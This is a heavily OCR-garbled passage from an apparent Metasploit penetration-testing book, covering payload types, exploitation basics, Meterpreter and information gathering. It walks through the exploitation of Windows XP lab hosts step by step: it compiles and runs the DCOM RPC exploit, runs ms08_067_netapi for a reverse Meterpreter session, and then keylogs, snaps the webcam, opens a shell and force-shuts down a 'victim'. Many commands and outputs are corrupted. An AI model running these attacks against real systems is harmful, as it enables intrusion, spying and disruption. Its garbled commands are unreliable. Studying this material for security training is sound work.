Let us have a look at the payload modules directory in the following screenshot:

reot@bt:~#|cd fopt/metasploit/msf3/modules/payloads
rootEbt: /fopt/metasploit /msT3 /modules /payloads# 1s

ung.lﬂ‘.l Etagers| |stages|
rootEot: /opt/metasplolt/msf3/modules /payloads# l

Singles are self-contained payloads for a specific task such as creating a user, binding
a shell, and so on. As an example, the windows/adduser payload creates a user
account. Now we will explore the singles payload directory. Here we will see

that the payloads are categorized according to operating systems such as AIX, BSD,
Windows, Linux, and so on.

iotEht: fopt/metasploit/mst3/modules /payloadsé 1s
stagers stages
T sfopt/metasploit/msf3/modules/payloadss :

potEbt: fopt/metasploit/ms 3/ modules/payloads /singles# s

bsdi generic linux php tty
cmd Java osK solaris windows
sotibt; /opt/metasploit/msf3/modules/payloads/singles# ]
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We will use the windows directory as a demonstration of how the payload works.

roctabt: fopt/metasplolit/msfi/modules /payloads/singless 15

aix bsd bsdi ond generic java

rootibt: fopt/metasploit/msf3/modules /payloads /singless

solaris
Wi

linux wosx php

tty |windows |

tibt: fopt/metasplolt /msfismodules/payloads/singles/windows# 154:::::3

adduser. rb messagebox. rb

download exec.rb metsve bind tep.rb
meTsSve Teverse t[ﬂ.rh
shell bind tep.rb
s fopt/metasploit /msfI/modules/payloads/singles/ windows# I

exec.rh
loadlibrary.rb

root@bt

shell bind tcp xpfw.rb
thell reverse tcp.rb

speak pwned.rb
x84

We will use the adduser payload, which has already been explained. We can view
the code of this payload by typing in cat adduser.rb.

pt/metasplolt /es V3 /modules /payloads/singles /'windowss 1§

] t messapebax, rib
download exec.rb metsvc bind tcp.rb
eetsvc reverse tep.rb
shell bind tep.rb

gxet, rh
loadlibrary. ro
roctdbt: fopt /metasploit /msfi/modules payloads /singles -:ru.‘m-.’.-lll-:u-t a-:luustr-rl:ll

shell bind tcp xpfw.rb
shell reverse top.rb
speak pemed.rb

&

Stagers are payloads that make a connection between the attacker and the victim
machine. As an example, if we want to inject a meterpreter payload we cannot

fit the entire Meterpreter DLL into one payload, so the entire process is broken up
into two parts. The first is the smaller payload called stagers. After the stagers are
executed they make a network connection between the attacker and the victim. Over
this network connection a larger payload is delivered to the victim machine and this

larger payload is known as stages.
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We will now explore the stagers payload directory. As we can see in the following
screenshot, the payloads are categorized according to the different operating systems:

1t fapt/metasplolt /ms 3 /modules/p
Iataicra stages

‘apt/eetasploit/

msf3/modules /payloads;

i java linux netware osx php windows
/opt/metasploit/msfi/modules/paylonds/stagers# ]

As an example we will explore the bsd directory and examine the list of payloads.

pot@bt:/opt/metasploit/msf3/nodules /payloads /stagers# [cd b5d |
j—’ bttsopt /metasplolt /msf3/modules /payloads stagers bade 15-{::
x B
root@bt: fopt/metasploit/msf3/modules /payloads; 51agﬂrt.-bsﬁl@
root@btc/opt/metasplolt/msf3/modules/payloads/stagers /bsd/ xa6H ls?

fpind ipw6 tep.rb bind tep.rb find tag.rb reverse ipvb tep.rb  revérse tep.rb
rect@bt: /opt/metasplolt /msf3/ modules /payloads/stagers/bsd/ xE64 I

Stages are the type of payload that are downloaded and executed by the stagers
payload such as Meterpreter, VNC server, and so on.
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Now we will explore the stages directory to view the list of payloads.

root@bt: opt/metasploit/msf3/modules/ /payloads# 15
singles stagers

root@bt:/opt/metasploit/mst3/modules,/payloads# ¢d Stages
/stages 3

root@bt: fopt/metasploit/msi3/modules/payloads
bsd bsdi java Llinux netware osx php windows
root@bt:/opt/metasploit/msf3 /modules/payloads /stages# ||

Here we have the same result we saw in the singles and stagers directory; the
payloads are categorized according to the different operating systems. We open the
netware directory to view the list.

otébt: fopt/metasplolt /msf3/ modules /payloads/stages# 1s

bsd bsdi java ULilnux osx php windows
ootEbt: fopt/metasplolt/ms 3,.-nuuLes-pdg.rmﬂti:..-'ﬂage:.!
ro nétwara® Ls

1tifbt : fopt /metasplodit /msf1/modules /payloads/stages
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Summary

In this chapter we covered the different interfaces and the architecture of Metasploit
Framework. The chapter flow included operation techniques of Metasploit followed
by the architectural base. We further covered the various Metasploit libraries and
application interfaces such as Rex, Msf core, and Msf base. We then explored the
Metasploit directories deeply along with descriptions of the important ones.

We then moved on to the exploit directory and briefly explained how exploits are
categorized according to operating systems and their services. We then moved to the
auxiliary directory, and explored how auxiliary modules are classified according to
services such as scanning and fuzzing.

Another important directory we covered was the payload directory which shows
how the payloads are categorized into three different types. We further classified the
payloads according to operating system.

Through this chapter we were able to cover the description of the basic Metasploit
Framework and architecture. In the next chapter we will start some hands on action
with Exploitation basics.
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[58]




Exploitation Basics

Exploitation refers to the art of compromising a computer system. The basics of
computer exploitation involves a deep understanding of the vulnerabilities and
payloads. An exploit is a piece of well-written code, compiled and executed on a
targeted system, which may compromise that system. An exploit usually targets a
known vulnerability, a flaw in a service or a poorly written code. In this chapter,
we will discuss the basics of how to find vulnerable systems and then exploit them.

Basic terms of exploitation

The basic terms of exploitation are explained as follows:

* Vulnerability: A vulnerability is a security hole in software or hardware,
which allows an attacker to compromise a system. A vulnerability can be as
simple as a weak password or as complex as a Denial of Service attack.

* Exploit: An exploit refers to a well-known security flaw or bug with which
a hacker gains entry into a system. An exploit is the actual code with which
an attacker takes advantage of a particular vulnerability.

* Payload: Once an exploit executes on the vulnerable system and the system
has been compromised, the payload enables us to control the system.
The payload is typically attached to the exploit and delivered.
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* Shellcode: This is a set of instructions usually used as a payload when the
exploitation occurs.

* Listener: A listener works as component waiting for an incoming connection.

Vulnerability

How does exploitation work?

We consider the scenario of a computer lab in which we have two students doing
work on their computers. After some time one of the students goes out for a coffee
break and he responsibly locks down his computer. The password for that particular
locked computer is Apple, which is a very simple dictionary word and is a system
vulnerability. The other student starts to attempt a password guessing attack against
the system of the student who left the lab. This is a classic example of an exploit. The
controls that help the malicious user to control the system after successfully logging
in to the computer are called the payload.

We now come to the bigger question of how exploitation actually works. An
attacker basically sends an exploit with an attached payload to the vulnerable
system. The exploit runs first and if it succeeds, the actual code of the payload
runs. After the payload runs, the attacker gets fully privileged access to the
vulnerable system, and then he may download data, upload malware, virus',
backdoors, or whatever he wants.

[60]



Chapter 3

How does exploitation work

2 Exploit run, then
payload run

1 Exploit + Payload

3 Upload/Download
attacker Data
vulnerable server

A typical process for compromising
a system

For compromising any system, the first step is to scan the IP address to find

open ports and its operating system and services. Then we move on to identifying

a vulnerable service and finding an exploit in Metasploit for that particular service.
If the exploit is not available in Metasploit, we will go through the Internet databases
such as www.securityfocus.com, www.exploitdb.com, www.1337day.com, and

so on. After successfully finding an exploit, we launch the exploit and compromise
the system.

The tools that are commonly used for port scanning are Nmap (Network Mapper),
Autoscan, Unicorn Scan, and so on. For example, here we are using Nmap for
scanning to show open ports and their services.
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First open the terminal in your BackTrack virtual machine. Type in nmap —v —-n
192.168.0.103 and press Enter to scan. We use the —v parameter to get verbose
output and the —n parameter to disable reverse DNS resolutions.

n=ap -w -0 192.1668.9.183

Starting Haap 3.61TEST4 (| Ritp://emdép.orfg | at 2@13-81-26 11:17 I5T
Initiating ARP Ping Scam at 11:17
Scanning 192.168.8.183 [1 port]
Cospleted ARP Ping Scan at 11:17, 0.0l1s elapsed (1 total hosts)
Initiatimg SYM Stealth Scan at 11:17
Scanning 192,168.0.163 [1000 ports]
Discovered open port 139/tcp on 192,168.0,103
Discoversed open port 135/tcp on 192.168.8.103
Discoversd open port 445/tcp on 192.168.0.103
Completed SYM STealth S<an at 11:17, 9.335 elapsed (1000 total ports)
Wmap scan report for 192.168.6.103
Host i3 up (9.0010% latency).
pt shown: 997 ':'Lﬂ_gt_d- parts
PORT STATE SERVICE
I5/1cp open mArpC
39/tcp open  netblos-ssn
45/tcp open microsoft-ds
Address: 08:00:27:05:41:0F (Cadeus Computer Systess)

Read data files from: Jusrflocalsbing. ./share/mmap
fmap done: 1 IP address (1 host up) scanned in .39 seconds
Raw packets sent: 1807 (44 ,028kB) | Rcwd: 1081 (40,.04058)

Here we can see the results of Nmap, showing three open ports with their services
running on them. If we need more detailed information such as the service version
or Operating System type, we have to perform an intense scan using Nmap. For an
intense scan, we use the command nmap —-T4 —A —v 192.168.0.103. This shows us
the complete results of the service version and the Operating System type.
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jstartimg Nmap 5.6LTEST4 { Wttp://fnmap.erg | at 2013-D1-26 13:09 IST
E: Loaded BT scripts for scamning.
BMSE: Script Pre-scanning.
Initiating ARP Ping Scan at 13:09
§Scanning 192.168.0.103 [1 part)
capleted ARP Ping Scam at 15:09, 0.00s elapsed |1 total Posts]
Rinitiating Parallel ONS resolution of 1 host, at 13:09
cepleted Parallel DS resolution of 1 host. at 13:85, 0.02s elmpeed
Initiating S5YN Stealth Scan st 13:09
fcanning 192 .168.0,103 [1000 ports]
fDiscoversd opem port 445/tcp on 192.168.0.103
f0iscovered open port 135/tcp on 192.168.8.103
§liscovered open port 139/tcp on 192.168.0, 103
cepleted SYH Stealth Scan at 13:09. 0.42:% elapsed (1006 total poris)
Initiating Service scam &t 13:69
canning 3 services on 192.168.0. 103
cepleted Service scan at 13:689, 6.025 elapsed (3 services on 1 hast)
Initiating 05 detection (Try #1) against 192.166.0.103
SE: Script scanming 192.168.0.1083.
InlTLating NSE AT 13:09
iompleted WSE at 13:09, 6.33= elapsed
Mg scan report for 192.168.0.1683
gHost 1% up (0.0010s latencyl.
Mol shown: 397 closed ports
. ]

I5Ftcp open mSrpc Microsoft Windows RPC
133 tcp open  metblos-ssn
45/tcp apen nmlcrosoft-gs Microsoft Windows XP microsoft-du
Address: B8:00:27:05:41:0F (Cadmus Cosputer Systems)
Pevice type: general purpose
naing: MLCrosoft Windows XP|63

The next step is to find an exploit according to the service or its version. Here, we
can see that the first service running on port number 135 is msrpc, which is known
as Microsoft Windows RPC. Now we will learn how to find an exploit for this
particular service in Metasploit. Let's open our terminal and type in msfconsole
to start Metasploit. On typing in search dcom, it searches all of the Windows RPC
related exploits in its database.
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In the following screenshot, we can see the exploit with its description and also the
release date of this vulnerability. We are presented with a list of exploits according to
their rank. From the three exploits related to this vulnerability, we select the first one
since it is the most effective exploit with the highest rank. Now we have learned the
technique of searching for an exploit in Metasploit through the search <service
name> command.

EEEETTISITITIEEN

Lo Disclosure ace Rank DefCripTiIDn

Enplod TAaIndows "OCeTpr Rl BOD ddoe 2003-07-18 great Micrasoft RRC DCOM Inter
e Overflod _

explolTruindows ariver/broodoon wifl ssid 2006-11-11 low  Broswdcom wireless Drlver
Prooe Response 5510 Overt 0w

explol trwindows/ sab/easdd 03] netdde 2004 - 18- 17 g Microsoft MetiDDE Tervice
Dverflow

Finding exploits from online databases

If the exploit is not available in Metasploit, then we have to search the Internet exploit
databases for that particular exploit. Now we will learn how to search for an exploit on
these online services such as www. 1337day . com. We open the website and click on the
Search tab. As an example, we will search for exploits on the Windows RPC service.
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Now we have to download and save a particular exploit. For this, just click on the
exploit you need.

|

After clicking on the exploit it shows the description of that exploit .Click on Open
material to view or save the exploit.
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The usage of this exploit is provided as a part of the documentation in the exploit
code as marked in the following screenshot:

MS Windows (RPC DCOM) Remote Exploit (w2k=XP Targeis)

HY izacws (EFD Z00) Femszte Exgisia cedesEkR Iarpets

o B Trepilem Praeemsrsd oy 1A = Bpisas IameE = Edcopr"p Dage

i e, T, T 3 [ '

W . L] w

] L] L] L P | [ S ] L] u
i

Now we will be exploiting our target machine with the particular exploit that we
have downloaded. We have already scanned the IP address and found three open
ports. The next step would be to exploit one of those ports. As an example, we will
target the port number 135 service running on this target machine, which is msrpc.
Let us start by compiling the downloaded exploit code. To compile the code, launch
the terminal and type in gcc <exploit name with path> -o<exploitname>. For
example, here we are typing gcc —dcom —o dcom.
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bt:-& ¢d frool/Desktopf
~/Oesktoph gee doom.c -o deosf]

After compiling the exploit we have a binary file of that exploit, which we use to
exploit the target by running the file in the terminal by typing in ./<filename>.

tabt: -/ Desktopd

- Rewritten by HDM <hin
- Usage: ./dcom <Target
- Targets:

Windows
Wi ndows
Windows
Windows
Windows
Windows
Windows

(=S TR TRTER I =

bt :-/Desktops ||

- Remote DCOM APC Buffer Owverflow Explodt
- Original code by FlashSky and Benjurry

[at] metasploit.coms
ID= <Target [P=

2008 SPG (english)
2880 SP1 [english)
2880 5P2 (english)
280 5P3 (englishi
2000 SP4 [englishj
iP 5P {english)

IF 5P1 (english)
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From the preceding screenshot, we can see the requirements for exploiting the target.
It requires the target IP address and the ID (Windows version). Let's have a look at
our target IP address.

& REE
[«

Microzoft Windows HP [Uersion 5.1.260A1]
(C» Copyright 1985-2801 Microsoft Corp.

C:“Documents and Settings“Administrator>*ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DMS Suffix localdomain

IP Address. . . - - . . . - . 192 _168.174.129
Subnet Mask . . . . . . . . . . 255.255.255.A8
Default Gateway . . . - - - . . 122_168.174.2

C:=~Documents and Settings“Administrator:

We have the target IP address, so let's start the attack. Type in ./dcom 6
192.168.174.129.

rFocom & 190, 168,174, 129

- Penate DODM BPC Buffer Ower!low Exploi!
Original code by FlashSky and Benjurry
Rewritten by MOM <hdm [at] metasplodl.coms
using retunn address of OxTTedItha
Dropping te System Shell.,

icrosoft Windows XP [Version 5.1.2608)
€} Copyright 1945-2001 Microsoft Corp.

W WINDOWS Y sy tendl s
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The target has been exploited and we already have the command shell. Now we
check the IP address of the victim machine. Type in ipconfig.

£\ WINDOS, sy s enld m

Lpeont ig

Mindows IP Conflouration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdoms
IP Address, . s £ a s = a 2f192.168.174.129
Subnet Mash . . . . . .. .. . 3 295.255.055.0

Default Gatewdy . . . . - . . » o & 192.168.174.2

The target has been compromised and we have actually gained access to it.

Now we will see how to use the internal exploits of Metasploit. We have already
scanned an IP address and found three open ports. This time we target port number
445, which runs the Microsoft-ds service.

Let us start by selecting an exploit. Launch msfconsole, type in use exploit/
windows/smb/ms08_067_netapi, and press Enter.

msf  explolt|
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The next step will be to check the options for an exploit and what it requires in order
to perform a successful exploitation. We type in show options and it will show us
the requirements. We would need to set RHOST (remote host), which is the target IP
address, and let the other options keep their default values.

netapl) » Show oplions

Module options (exploitfwindows/s=b/esld 08T netapl)

Hyme Current Setting MRequired Description

RHDST ﬁl ¥es5 The target address cg:
RPGAT 245 ] Set the SHB service pdrt
SHEPIPE BROWSER yeu The pipe rame to use (BROWSER, SAVSYC)

LExploit target:

Id  Name

0 Automatic Targeting

sif explaitin

msf > use exploit/windows/smb/m
exploit{msnB_067 netapi) =Jset RHOST 192.168.8.163
RHOST => 192.168.8.183

msf exploitimsee 067 netapi) = |}

After setting up the options, we are all set to exploit our target. Typing in exploit

will give us the Meterpreter shell.
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af exploitis 6T netepl) = s=fp RADST 192, 168.0.103
5T == 193.186.9. 183
sf  explodtimsns_se?_netapi) »fegploit ]

1*] Starped reverse handler on 192.168.0.104:9444

|*] Automatical 1'||' detect tng the TArget...

|*] Fingerprint: Windows XP - Service Pack 2 - langiEnglish

Selected Target: Windows XB 5B2 English (AlwaysOn NE)

Attempting to trigoer the walnerability...

|*] Sending staQe (T32LEB bytes) To 152.168.0.100

|*] Meterpreter fession 2 openad [192.188.0. 104 4444 -» 197.168.0.183:1167) &
t 20130126 17:45:52 «0530

peterpreter » |j

Summary

In this chapter, we covered the basics of vulnerability, a payload, and some tips on
the art of exploitation. We also covered the techniques of how to search for vulnerable
services and further query the Metasploit database for an exploit. These exploits

were then used to compromise the vulnerable system. We also demonstrated the art
of searching for exploits in Internet databases, which contain zero-day exploits on
software and services. In the next chapter, we will be covering Meterpreter basics and
in-depth tactics on exploitation.

References

The following are some helpful references that shed further light on some of the
topics covered in this chapter:
* http://www.securitytube._net/video/1175

* http://resources. infosecinstitute.com/system-exploitation-
metasploit/
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Meterpreter is one of the spearheads in the Metasploit Framework. It is used as a
payload post exploitation of a vulnerable system. It uses in-memory DLL Injection
Stagers and is extended over the network at runtime. In-memory DLL, Injection is

a technique used for injecting code within the address space of a currently running
process by forcing it to load a DLL (Dynamic-link library) file. Once an exploit is
triggered and the Meterpreter is used as a payload, we get a Meterpreter shell for the
compromised system. The uniqueness of its attack vector lies in its stealth feature. It
does not create any files on the hard disk but just attaches itself to an active process
in memory. The client-server intercommunication takes place using the Type Length
Value Format and is encrypted. Within data communication protocols, optional
information may be encoded as a type-length-value or TLV element inside the
protocol. Here, Type indicates the kind of field that is a part of the message, Length
indicates the size of the value field and Value indicates the variable-sized series of
bytes, which contain data for this part of the message. This single payload is very
effective with its multiple capabilities, which helps in acquiring password hashes of
a victim machine, running a keylogger, and privilege escalation. The stealth feature
makes it undetectable to many antivirus and host-based intrusion detection systems.
Meterpreter also has the capability to switch between different processes to which it
gets attached through DLL Injection, and stays by clinging to running applications on
the compromised host rather than creating files on the system.

In the previous chapter, we compromised a system to get the reverse connection
for the Meterpreter. Now we will discuss the functionalities we can use over the
compromised system post exploitation, such as the working of the Meterpreter and
the Meterpreter in action.
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Working of the Meterpreter

Once a system is compromised, we (the attacker) send a first-stage payload to the
affected system. This payload connects back to the Meterpreter. Then a second DLL
Injection Payload is sent followed by the Meterpreter Server DLL. This establishes

a socket and a client-server communication can take place through the Meterpreter
session. The best part of this session is that it is encrypted. This offers confidentiality
and hence a session may not be sniffed by any network administrator.

Exploit +
1st Stage Payload

Payload Connect Back
To MSF

2nd Stage DLL MSF Sends
Injection Payload Meterpreter DLL
Sent

Client and Server Communicate

Meterpreter in action

In Chapter 3, Exploitation Basics, we were able to exploit the victim machine and get
a Meterpreter session from it. Now we will use this Meterpreter session to leverage
the various functionalities of the Metasploit Framework.
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ref  exploitinsd

148 14 +8538

wtapi) » exploit

[*] Started reverse handler on 192.168.0.104:4444
[*] Automatically detecting the target...

[*] Fingerprint: Windows Xp -
[*] Selected Target: Windows XP SP2 Emglish {AlwaysOn HX)

[*] Attespting to trigger the wulnerability...

[*] Sending stage (752128 bytes) to 192.16&.0.185

[*] Meterpreter session 1 opened [192.168.0.104:4444 > 192.188

Seryice Pack 2 - lang:English

We will now display all the weapons of attack that Meterpreter hosts. For this,

enter help.

background
bgkill
ript
bglist
bigrun
Iz background thread
channel
channels
close
detach
or http https|

ey s

¥
exlt

disable unicode encoding

aenable unicode encoding

Description

Help menu
Backgraunds the current session
Kills a background meterpreter sc

Lists running background scripts
Executes A meterpreter script as

Displays information about active

Closes a channel
bDetach the meterpreter session |f

Dizables encoding of unicode strl
gEnables encoding of unicode strin

Terminate the meterpreter session

In the preceding screenshot, we see all of the Meterpreter commands that can be

used on the compromised system.
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We have a few classified commands based on their usage; they are listed as follows:

Command type

Command name

Description

Process listing

Keylog Usage

Session

Sniffer Functions

Webcam Commands

getuid

kill

ps

getpid
keyscan_start

keyscan_stop

keyscan_dump

enumdesktops
getdesktop
setdesktop

use sniffer
sniffer_start

sniffer_dump
sniffer_stop
webcam_list
webcam_snap

record_mic

It gets the system ID and the
name of the computer.

It terminates a process.
It lists the running processes.

It gets the current process
identifier.

It starts the keylogging
session.

It stops the keylogging
session.

It dumps the keystrokes
captured from the victim
machine.

It lists all of the accessible
desktops and workstations.

It gets the current Meterpreter
desktop.

It changes the Meterpreter's
current desktop.

It loads the sniffer functions.

It starts the sniffer for the
interface.

It dumps the network capture
of the victim machine locally.

It stops the sniffer for the
interface.

It lists all of the webcams of
the system.

It captures snapshots of the
victim machine

It records the sound of the
environment from the default
microphone on the machine
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Now we will start the penetration testing procedure and perform the first step by
starting to gather information about our victim machine. Type sysinfo to check the
system information.

mELErpreter » Iwnnfn|
Computer ¢ EXPLOITA-823691

05 : Windows XP (Build 2608, Service Pack 2).
Architecture : xB6

System Language : en US
Heterpreter : xB6 wini2
meterpreter = j

We can see the system information in the preceding screenshot, the computer name
and the operating system used by the victim. Now we will capture a screenshot
of the victim machine. For this, type in screenshot.

Scresnshot savEd To: Jroot/JDGucRiN. |pea

Jusrfbin/x-wew-browser: fopt/eetasploit/common/11b/1ibwonlz.
50.2: no version information available (regquired by fusr/li
fb/libstreamanalyzer.so.8)

Susribin/g-wew-browser: Sfopt/metasploit/common/lib/libunld,
£0.2: no version information available (reguired by Jusr/li
jb/libstrearanalyzer.so.8)

Jusrfbin/ i-wew-browser: fopt/metasploit/common/1ibslibanld,
s0.2: no version information available (required by fusr/li

[77]
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We can see the victim machine's screenshot as follows:

Let us check the list of all of the processes that are running on the victim machine.

For this just type ps and it will show the running processes.

Senion  Uner

4 AT
L AL

i alg.eew
T EAFUL R
e

L LT
Rlesgrrn axe
Gl Tl e

LR -

63 leasd.pae
L1

|} F wESEAT. FE
SEng

it wsEreAloEEE
L

e wcowi.ee
L)

(£ 0 LR T
i

Ll witonl.mic

|Syuiew Process)

WP LMFORET it
HE AUTHIITTA FETIN

NT SUTNORITHLDCAL, SOATICE
NT AITHORE T TR

HT EUTHORETF S TITES

HT SUTHORITY L TITE™

N7 EUTHORETTUATITE™

HE AUTHORETTATITES

HT AlMORITYRETENE  LERICE
MY AUTHORETTLETSTEN

WT AUTHORETYURETRIRE, SERTICN
WY AUTHORETTLDEM. SEMYICE

Wi tesizat bt vemn

€ wTiDawE B lendinaly. ume
P L VWIS h hem AT o

W FL | VWINDT L s DN win
LRRR =L AR LR E Ry £
LoV v Leall Leassw
O N WERDEWY Ly hen I v et
VWIS I Ly T v ot
L RERGE i Vom0 ey
| NETRSEWT LN e Ve T

VTIPS Ly LT i |
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In the preceding screenshot, we can see the process list, with detailed information.
The first column shows the PID, which means process ID and the second column
shows the process name. The next column shows the architecture of the system,
the user, and the path from where the process is running.

In the process list, we have to find the process ID for explorer .exe and then migrate
with that process ID. For migrating with any process ID, we have to type migrate
<PID>. Here, we are migrating with explorer.exe, so we type in migrate 1512.

Cr

[1512 explorer.exe] x86 @ EXPLOITA-823691\Vic

jmeterpreter =|mlgrate 1512
] v

[*] Higrating
[*] Higration completed successfully.
|meterpreter = |

After migrating with a process, we then identify the current process. For this, type
in getpid.
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We can see the current process ID from which we have migrated to the victim machine.

Next, we move on to some real hacking stuff by using the keylogger service on the
victim machine. We type in keyscan_start and the keylogger will start and wait
for a few minutes to capture the keystrokes of the victim machine.

meferpreter > keyscan Start
Ltarting the keystroke sniffer. ..
mararpraver = []

The victim has started to type something in the Notepad. Let us check if we have
the capture.

B Untitled - Notepad E]E]@
Fil= Edit Formak Wiew Help
hello, guy's this is tutorial for EeyTDgger‘.lu |

|

Now, let us stop the keylogger service and dump all of the keystroke logs from the
victim machine. For this, type keyscan_dump and then type keyscan_stop to stop
the keylogger service. You can see in the following screenshot that we have the exact
capture. Bravo!
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eterpreter > [Keyscan
umping captured kEsystrokes. ..

#llo, gquys this is tutorial for keylogger|
SeTerpreter = Reyscan Stop|

topping the keystroke sniffer...
weterpreter > [

Let's try some more interesting activities in our Meterpreter session. Let's check
whether the victim's machine has a webcam available or not. For that, we type
in webcam_list and it displays the webcam list from the victim machine. In the
following screenshot, we can see that a webcam is available.

EETEFpreler =
petarpreter =|webcam lisy
PETErpréTer »
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Thus we know that the victim has an integrated webcam. So let's capture a snapshot
of the victim from his/her webcam. Just type in webcam_snap.

eterprefer
pelerprater

Belorprgfer »

rpreter = webcam list
1: Integrated Webcam

= e = [
(=] Startirg...

Got frame

on,/ Lib/libxmll. so

In the previous screenshot, we can see that the webcam shot has been saved to the
root directory and the image is named yxGSMosP . jpeg. So let us verify the captured
image in the root directory.
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After that, we will check the system ID and the name of the victim machine. Type
in getuid.

=maine" =]

reterpreter >|getuld |
SEryer usernane: EAF uxu-szaﬁamunr-@

peterpreter = ]

After playing with the victim machine, now it is time for some serious stuff. We are
going to access the victim's command shell to control his/her system. For this, just
type in shell and it will open a new command prompt for you.

xXit
EEterprater = Ehell
Process 1452 created.
Channel 4 created.

Microsoft Windows XP [Versien 5.1.2508]
(C) Copyright 1985-2001 Microsatt Corp.

L:vDocuments and Setiings\vict lﬂ{
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Now let us make a directory on the victim machine. Type in mkdir
<directory name>. We are creating a directory named hacked in
C:\Documents and Settings\Victim.

C:\Documents and Settings\Victimfmkdir hacked |

pidir hacked

Let us verify whether the directory has been created or not under C:\Documents
and Settings\Victim.

& Victim
Fle Ed® WVew Favortes Tools Help

ek = € - (T Jseath [ Fodes [37]-

File and Folder Tasks

J tisle & e [oibder

‘ Pudskaty g Foddsr o
the Web

kel Share thas folder

Other Flaces

) Coouments and
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Now we are going to shut down the victim computer by displaying a message
on his screen. For this, type in shutdown —s —t 15 -c "YOU ARE HACKED".In
the following command, the syntax we are using is: —s for shutdown, —t 15 for

timeout, and —c for a message or comment.

p is a4 planned Shutdown Code
Lnteger less thanm 2501
integer less than E5538)

i is the major reason code (positive

yf 1% the mifor reason code (positive

£:\Documents and Settings\VictimBRutdewn -3 -t 15 -¢ "VOU ARE AACKED')

thutdown -3 -1 13 - “¥O0U ARE HA

C:vocunents and SeTTIRgIwV1CTL

Let's see what happened on the victim machine.

work 1 progrest and log off. Any unsaved
vall b lost. Thes ehubdonin was
wuaﬂmﬂmwﬁw

a'l‘hlrﬂuu dowvir Flanzs tve all

Tima balces thutdown - (0000 08

Meziage
YOU &RE HACKED
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Summary

So, with this chapter, we have covered how a user compromises a system through the
Meterpreter and what information he/she may be able to extract using the Meterpreter
functionality post exploitation. Once we compromised the system of the victim, we
were able to obtain the system information, which included the operating system
name, architecture, and the computer name. After that, we were able to capture a
screenshot of the victim machine's desktop. Through the Meterpreter, we got direct
access to the shell of the victim machine and hence could check the processes that

were running. We were able to install a keylogger and capture the active keystrokes of
the victim machine. Using the Meterpreter, we could even use the victim's camera to
capture his snapshot without being noticed.

This entire chapter had a sense of some real hacking involved and the different ways
to use the victim machine to one's own command. Hence the victim machine was a
mere puppet dancing to the attacker's commands. Since we had access to the victim's
shell, we could format his hard disk, create new files, and even copy his confidential
data. The next chapter will cover the information gathering and scanning phase.

References

The following are some helpful references that shed further light on some of the
topics covered in this chapter:

e http://www.offensive-security.com/metasploit-unleashed/
About_Meterpreter

e http://cyruslab.wordpress.com/2012/03/07/metasploit-about-
meterpreter/

e https://github.com/rapid7/metasploit-framework/wiki/
How-payloads-work

e http://www.isoc.my/profiles/blogs/working-with-meterpreter-on-
metasploit
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Vulnerability Scanning and
Information Gathering

In the previous chapter, we covered the various functions of Meterpreter and the
approach that should be adopted for client exploitation. Now we slowly move on to
the exploitation principles in depth, with the first phase as information gathering.
We explain the various techniques through which we can gather information of our
victim for pre-attack analysis. This information is used to know our victim better and
gather platform-rich information for attacking the system. The rise in the amount

of vulnerabilities has made us shift to using automated vulnerability scanners. This
chapter is aimed at mastering the art of vulnerability scanning, which is the first step
towards exploitation. Some of the modules that would be covered are as follows:

* Information gathering through Metasploit
*  Working with Nmap

*  Working with Nessus

* Report importing in Metasploit

Information Gathering through Metasploit

Information gathering is a process of collecting information about a victim through
various techniques. This is basically divided into two steps of footprinting and
scanning. A lot of information is available publicly about an organization through
the organization's website, business news, job portals, disgruntled employees,

and so on. A malicious user may be able to find domain names belonging to an
organization, remote access information, network architecture, public IP addresses,
and much more through this phase.
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Metasploit is a very strong tool and has a collection of some of the powerful tools in
its kit for information gathering and analysis. Some of these include: Nmap, Nessus
with Postgres support for porting the report, followed by exploitation using the
gathered information through Metasploit, and so on. Metasploit is already integrated
with Postgres, which indirectly helps in storing penetration testing results for longer
duration during the testing phase. The information gathering phase is considered

so important because attackers use these tools to gather important information for
compromising their victim. The Metasploit auxiliary modules have various scans from
ARP to SYN, and even service-based scans such as HTTP, SMB, SQL, and SSH. These
actually help in fingerprinting the service version and even some information about
probable platforms on which the service is being used. So, through these specifications
our attack domain gets further restricted in hitting the victim really hard.

Image take from http://s3.amazonaws.com/readers/2010/12/20/spyware_1.jpg

We move on to some hands on information gathering with the help of Metasploit.
Let us suppose we are the attacker, and we have a domain which has to be exploited.
The first step should be to retrieve all the information about the domain for our
malicious purpose. Whois is one of the best methods for information gathering. It is
widely used for querying databases that store registered users of an Internet resource
such as domain name, IP address, and so on.
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Open msfconsole and type in whois <domain name>. For example, here we are
using my own domain name whois <techaditya. in>.

[ »|who.s Lechalilya.n)
(=] exer: wBRts Tochw i Tyn. 18

ceid Yo IN WHOIE inforastisn 18 Srawidss s sssisl cergcrs i
Lerrun gy U conbenls of 3 dosadn naee veglslrsticr tsoed o Lbe
TH regiatry darabase. Thr dars In this rorard 1 peeslace by
IN Megistry Tor informatisaal asurpsssd saly, snd Lk coEs pet
rantee 1ts accuracy. Tnas service 39 1atended enly fer cuery-casec
cets, You agiee Lhal you #il1 see Lhis dals anly Tof Lewlul purpuses
ad ThaT, wnder mo cTrcomsranens AT gae gt Tt azra te: (&) alle,
le, of othefulic Suppsrl U= Drensadseisn oy s-reil, velaphere, of
racsimlle of mass unsolicited, cowmercial sdvertising cr sclicitaticrs
Lo emliloes olber Lhan Lhe dals retiwienl®s wen peduling cusloesrs) ot
ik canhle Righ walone, nofasarsd, =lserenaie aFnerasrt FRRT wion
rias or dats T the systsns of e31stry B0AFstIr, B Begistrer, or
filoas except as reasonadly necessary L2 register oocmair rares ©f
iy wxlsling reglslralions. ALL cEghle reserves, Ik reserses
ke rrght to madify These taras ab any tiee. 85 sabeirrieg tRIs ghery,
ayfes to shide by thizs oslicy

< I0 D4 3087 -AFTH
T m Mene: TECHADTTYA . TH
2-Bap-20.0 DiES 00 JIT
st Updated On:8d-Jul-2611 18:33:32 JTC
wfalaon Pale:d2-Sep-2003 18:°3:1% JTC
pansaring Registrariesinest Salurinns (8% &FT9)
TaTus CLILMT [JUARGILIL TR ILJILS
istramt ID:IR 16324440
shranl Memme:fd_Lya Balavare
1ErrnAT Organt ratian: 1TINTFIED
1TMRAT STreetli s/ . Faper MALL Tolaay,
ixtramt Strestd:Nishatgan)
shranl Slreeld:

We can see the amount of information gathered related to our domain. In Metasploit,
there are a lot of auxiliary scanners, which are very useful for information gathering
through e-mail harvesting. E-mail harvesting is a very useful tool to get the e-mail
IDs associated with a particular domain.
